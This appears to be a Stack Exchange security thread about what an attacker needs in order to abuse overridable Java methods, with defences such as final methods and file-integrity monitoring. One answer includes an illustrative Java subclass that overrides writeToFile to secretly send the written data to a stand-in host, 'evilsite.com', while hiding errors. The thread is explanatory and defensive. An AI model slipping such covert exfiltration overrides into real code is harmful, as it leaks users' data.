6

I have seen various resources that warn the potential harm of method override in Java (see reference below).

https://www.securecoding.cert.org/confluence/display/java/OBJ57-J.+Do+not+rely+on+methods+that+can+be+overridden+by+untrusted+code

http://faculty.salisbury.edu/~xswang/Research/papers/serelated/ieeesoftware/mso2008010013.pdf

I am not able to see the thread model of this kind of attack, i.e., what kind of capability does the attacker need to have?

Example 1: If I wrote a java app and compile it into a jar file, then is this jar file vulnerable to this kind of attack?

UPDATE: Given the first example is potentially broad and people are coming up reverse engineering attackers. I will put a more constraint example in the question.

Eample 2: When I run some java application on my machine and the attacker only has access to my java API interfaces, can he launch this attack?

  • 2
    This is mostly only relevant if you load arbitrary classes at runtime. – mroman Sep 15 '16 at 20:44
3

When you create a .jar file, deploy it on a system and run it, it's per-se not more or less vulnerable than any other application developed with any other technology.

The attacks described in these articles are relevant when the attacker can already inject Java code into your application. For example, when your application loads classes at runtime with a ClassLoader from a source which isn't under your (or your user's) control. The articles just reiterate what every application developer should already know: Do not load and execute untrusted code. When you don't do anything like that, there is nothing you need to worry about.

The articles mostly debunk the misconception that it could be possible to build a sandboxed plugin execution environment by relying on JAVA visibility features. Let's say you want to build a Java application where users can download extensions from the web. This works by downloading the .class file and load it at runtime with ClassLoader. But you want to limit what these extension can and can't do. Could you just declare any data you don't want these extension to access as private? No, that doesn't work, because there are tricks to subvert these access modifiers.

0

Once someone has access to a jar file it is a relatively straightforward operation to decompile it so I am very curious what security practices surrounding tamper proofing Java applications exist.

As for the question at hand. Let's say an class has an equals method that is not declared final. If the equals method returns true it gives you access to a critical resource. You can create a class with the original class as the parent class and define a method with the same name and arguments as equals in the Parent class. Make this method return true all the time.

You may now pass your derived class into any function that accepts the original parent class as an argument. When the equals method is called it will return true because you 'overrode' the method. It will never call the parents equal class because you did not call super.equals within your hack.

Several tools (for example Collabnet Subversion) allow you to upload jar files implementing interfaces to create event handlers and other types of functionality customizations. Carefully overriding critical methods to bypass security checks is probably more common a vulnerability than is known. I think a lot of the tool vendors rely on administrative access to uploading customizations to protect them.

  • Based on the threat model you mention, If the attacker can decompile my java app and edit it and then recompile it, how does "final" protects me since he can remove "final" in my original class or probably he can just edit my original "equal" method directly. Sorry, I missed your point. Could you clarify? – drdot Sep 15 '16 at 17:39
  • This is an example on how to attack using overriding a method. Given the ability to decompile I am unsure how to protect it. – ojblass Sep 15 '16 at 17:42
  • I am not convinced that reverse engineering is a meaningful threat model for this attack vector since the defense using "final" does not work against the attack. I assume there is a weaker attack model that will allow "final" defense work. – drdot Sep 15 '16 at 18:12
  • If an attacker can modify your code then you're completely f** anyway. – mroman Sep 15 '16 at 20:51
  • The key here is control of the classpath. If an attacker can control the classpath, there is indeed more severe problems with your system. That said, if you mark any sensitive method as "final," then you prevent someone from manipulating a public API into doing something you don't intend. – avgvstvs Sep 17 '16 at 5:43
0

OVERRIDING METHOD USING INHERITANCE

If we're talking strictly only about using inheritance to override method on an existing application which you don't have access to the source code, @objlass is a bit ouf of the subject.

This is because if you create a new class that extend a new one and just override a method and put that in the classes folder of the running application, nothing will happen. This is considering you're not doing complex things lke decompiling and modifiying existing code.

However, if you have a DI Manager like Spring, you can change the class injected by editing the XML File, and so you're able to replace your own bean by the original one.

POINTCUT

Another kind of attacks too is not overriding methods, by adding cutpoints using aspect, again this can be done by the use of framework like Spring.

For the security of application, i have only heard that some project forbid any library adding the capability to add point cut using aspects.

The fact that in Java it could be easier to inject code don't really mean a lot, you can just consider that if someone was able to access to your application server, the server is corrupted.

OVERRIDING CLASS UING ENDOERSED FOLDER

Another way of hacking around would be to use the endorsed mechanism of Java, it's a specific place were all JAR that are put here take precedence over all others. So this means you can overwrite even type like Java.lang.String. Or instead of derivating a class to replace it or adding pointcut, you can just get the class (either source code or decompile .class) modify it, compiling it, put in a JAR and place it in the endorsed folder.

Note that apache Tomcat for instance possess already an "endorsed" folder used to override any library he needs internally to have the right version of the classes. you could just open one of those JARS and add your class within.

PROTECT AGAINST THOSE METHODS

How a sysadmin is supposed to detect this ? Well in fact i saw some pretty simple solution : a script that periodically (cron... :p) check if any file on the server (expect logs that are movd on /var/log or whatever) has changed and report it to the sysadmin if so.

Because whatever the way you're doing it, if you can't change the source code before it goes on the server, you will have to modify files and detect that is in fact pretty easy.

To even go further you could use compute md5 hashes (and still checking size of file!) of all your server's file and the running script (in case someone would try to add an external folder to the classpath).

Finally what i have say here is pretty simple to implements, there are probably even more smarter ways of doing this, however i don't have the necessary knowledge for this.

EDIT :

Thanks to @ojblass to point out there is a package named Tripwire that will watch files/directory for you and will execute the command you want when something occured.

  • There is a package called TripWIre that monitors directories and files and alerts when any modifications occur. I would suggest using it rather than developing your own MD5 checker. – ojblass Sep 16 '16 at 12:04
  • @ojblass thanks, i didn't know about this,i'm not sysadmin or setting this kind of thing, i'll add it to my answer. – Walfrat Sep 16 '16 at 12:05
0

I am not able to see the thread model of this kind of attack, i.e., what kind of capability does the attacker need to have?

I believe you meant "threat model" here, if I'm wrong, I will amend accordingly.

The threat model takes a little bit of thought, but the danger is there.

In the simple case, all I have to do is write another class with the same package and class name as the target class, and then ensure that my malicious class gets loaded on the classpath before yours.

The more complicated case (and more common) are when an application exposes an API to extend functionality. This example will be contrived, but it will serve to illustrate. Imagine an application that exposes a class that performs operations against the filesystem.

Suppose I have a method that writes a file to a path:

package com.foo;

public class HostClass {

    public void writeToFile(byte[] data, String path){
        //dostuff
    }
}

Suppose that this application will just process POJOs like this like a factory line.

I'll write my own class:

package com.foo;

import java.io.DataOutputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.Socket;

public class ClientClass extends HostClass {

    @Override
    public void writeToFile(byte[] data, String path){
        try {
            InetAddress address = InetAddress.getByName("http://www.evilsite.com");
            Socket s = new Socket(address, 443);
            DataOutputStream out = new DataOutputStream(s.getOutputStream());
            out.write(data);
        } catch (IOException e) {
            //swallow to hide
        }
        //dostuff
    }
}

So... any data that gets written by this API will now also be sent to a place of my choosing.

This is probably not what the designers intended. But, because I can override the method, it is possible.

This is more of an opportunistic bug as opposed to something more generally exploitable like XSS or buffer overflow. The right application has to expose the right interface and it has to perform sensitive enough functions that I dare to co-opt them.

The threat model is quite general: Analyze your application.

How to avoid:

package com.foo;

public class HostClass {

    public final void writeToFile(byte[] data, String path){
        //dostuff
    }
}

This can be avoided by making sure that any method that performs sensitive functions, cannot be overridden. If you follow the principle of least privilege while coding, you should never see this as a real problem. (don't forget input validation on path!

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.